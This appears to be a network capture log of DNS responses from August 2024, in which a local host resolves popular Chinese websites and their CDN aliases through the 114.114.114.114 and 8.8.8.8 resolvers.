Aug 5, 2024 11:59:09.298111916 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.jb51.net	ca38c0f2.jiasula.vip		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.298111916 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ca38c0f2.jiasula.vip	g8450a5.usallient81.jiasula.vip		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.298111916 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.240	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.298111916 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.237	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.298111916 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.241	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.298111916 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.248	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.298111916 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.250	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.298111916 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.244	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.298111916 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.246	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.298111916 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.249	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.298111916 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.247	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.298111916 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.251	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.298111916 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.253	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.298111916 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.252	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.320462942 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.autohome.com.cn	www.autohome.com.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.320462942 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.autohome.com.cn.a.bdydns.com	opencdnqczjv6.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.320462942 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		61.163.9.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.320462942 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		218.60.172.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.320462942 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		27.221.38.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.320462942 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		101.72.199.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.320462942 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		101.72.249.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.320462942 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		150.138.157.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.320462942 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		218.60.173.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.320462942 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		221.204.61.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.320462942 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		60.221.222.1	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.320462942 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		121.22.239.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.321831942 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.cctv.com	www.cctv.com.wsglb0.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.321831942 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.cctv.com.wsglb0.com		138.113.147.185	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.321831942 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.cctv.com.wsglb0.com		163.171.128.148	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.383654118 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	guangzhoucs.oss-accelerate.aliyuncs.com	ds-2088.oss-acc-allline.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.383654118 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ds-2088.oss-acc-allline.aliyuncs.com	ds-2088.oss-acc-allline.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.383654118 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ds-2088.oss-acc-allline.aliyuncs.com.gds.alibabadns.com	ap-southeast-1-ds-2088.oss-acc.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.383654118 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ap-southeast-1-ds-2088.oss-acc.aliyuncs.com		161.117.242.92	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.472183943 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.jb51.net	ca38c0f2.jiasula.vip		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.472183943 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ca38c0f2.jiasula.vip	g8450a5.usallient81.jiasula.vip		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.472183943 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.250	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.472183943 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.244	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.472183943 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.248	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.472183943 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.249	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.472183943 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.246	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.472183943 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.237	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.472183943 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.252	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.472183943 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.251	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.472183943 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.240	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.472183943 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.241	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.472183943 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.253	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.472183943 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.247	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.513245106 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.hupu.com	www.hupu.com.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.513245106 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.hupu.com.cdn.dnsv1.com	dc3ee476.ovslegodl-dk.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.513245106 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.242	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.513245106 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.245	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.513245106 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.186.235	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.513245106 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.186.117	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.513245106 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.200	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.513245106 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.251	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.513245106 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.186.122	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.513245106 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.196	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.696552992 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.cdstm.cn	www.cdstm.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.696552992 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.cdstm.cn.a.bdydns.com	opencdnka.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.696552992 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	opencdnka.jomodns.com		113.219.142.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.727814913 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.autohome.com.cn	www.autohome.com.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.727814913 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.autohome.com.cn.a.bdydns.com	opencdnqczjv6.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:09.727814913 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		211.97.83.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.727814913 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		60.221.222.1	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.727814913 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		123.6.28.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.727814913 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		122.143.8.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.727814913 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		113.1.1.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.727814913 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		221.204.49.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.727814913 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		222.141.4.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.727814913 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		116.95.27.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.727814913 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		101.72.199.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:09.727814913 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	opencdnqczjv6.jomodns.com		116.177.239.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:10.382400990 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	soso.com	sh2.general.proxy.sogou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:10.382400990 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	sh2.general.proxy.sogou.com		49.51.65.181	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:10.782655001 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:10.782655001 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:10.945235968 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:10.945235968 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:11.222779036 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:11.222779036 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:12.302535057 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:12.302535057 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:16.954231977 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:16.954231977 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:17.117170095 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:17.117170095 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.655916929 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.aliyun.com	www-jp-de-intl-adns.aliyun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:29.655916929 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www-jp-de-intl-adns.aliyun.com	www-jp-de-intl-adns.aliyun.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:29.655916929 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www-jp-de-intl-adns.aliyun.com.gds.alibabadns.com	xjp.wagbridge.aliyun.aliyun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:29.655916929 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	xjp.wagbridge.aliyun.aliyun.com	xjp-adns.aliyun.com.vipgds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:29.655916929 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.88.198.68	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.655916929 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.74.138.66	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.655916929 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.88.128.4	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.655916929 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.88.198.69	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.655916929 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.88.251.189	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.812257051 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.kuaishou.com	multi-az-www-api.kuaishou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:29.812257051 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.106	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.812257051 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.144	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.812257051 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.125	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.812257051 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.107.217.26	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.845586061 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.sinacloud.com	lb.sinacloud.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:29.845586061 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	lb.sinacloud.com		123.125.23.221	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.845586061 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	lb.sinacloud.com		123.125.23.91	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.874799967 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.aliyun.com	www-jp-de-intl-adns.aliyun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:29.874799967 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www-jp-de-intl-adns.aliyun.com	www-jp-de-intl-adns.aliyun.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:29.874799967 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www-jp-de-intl-adns.aliyun.com.gds.alibabadns.com	xjp.wagbridge.aliyun.aliyun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:29.874799967 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	xjp.wagbridge.aliyun.aliyun.com	xjp-adns.aliyun.com.vipgds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:29.874799967 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.88.198.68	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.874799967 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.88.251.189	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.874799967 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.88.198.69	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.874799967 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.74.138.66	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.874799967 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.88.128.4	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.940629005 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.sinacloud.com	lb.sinacloud.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:29.940629005 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	lb.sinacloud.com		123.125.23.221	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.940629005 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	lb.sinacloud.com		123.125.23.91	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.968266964 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.kuaishou.com	multi-az-www-api.kuaishou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:29.968266964 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.125	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.968266964 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.106	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.968266964 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.107.217.26	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:29.968266964 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.144	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.028218031 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.douyin.com	www.douyin.com.bytedns1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.028218031 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.douyin.com.bytedns1.com	www.douyin.com.w.kunluncan.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.028218031 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.douyin.com.w.kunluncan.com	www.douyin.com.queniuyk.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.028218031 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.189	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.028218031 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.191	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.028218031 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.195	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.028218031 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.194	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.028218031 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.190	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.028218031 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.193	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.028218031 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.188	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.028218031 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.192	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.064342022 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.douyin.com	www.douyin.com.bytedns1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.064342022 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.douyin.com.bytedns1.com	www.douyin.com.w.kunluncan.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.064342022 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.douyin.com.w.kunluncan.com	www.douyin.com.queniuyk.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.064342022 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.245	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.064342022 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.243	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.064342022 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.241	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.064342022 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.246	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.064342022 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.240	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.064342022 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.239	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.064342022 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.204	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.064342022 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.242	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.115449905 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.iqiyi.com	www.iqiyiweb.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.153338909 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.iqiyi.com	www.iqiyiweb.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.222456932 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.qq.com	www.qq.com.eo.dnse2.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.222456932 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.qq.com.eo.dnse2.com		43.132.73.61	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.245604992 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.sogou.com		119.28.109.132	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.248276949 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.248276949 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.248276949 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.248276949 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.256714106 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.sohu.com	www.sohu.com.dsa.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.256714106 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.sohu.com.dsa.dnsv1.com	qt0t6l4k.e0.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.256714106 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.159.70.125	A (IP address)	IN (0x0001)	false
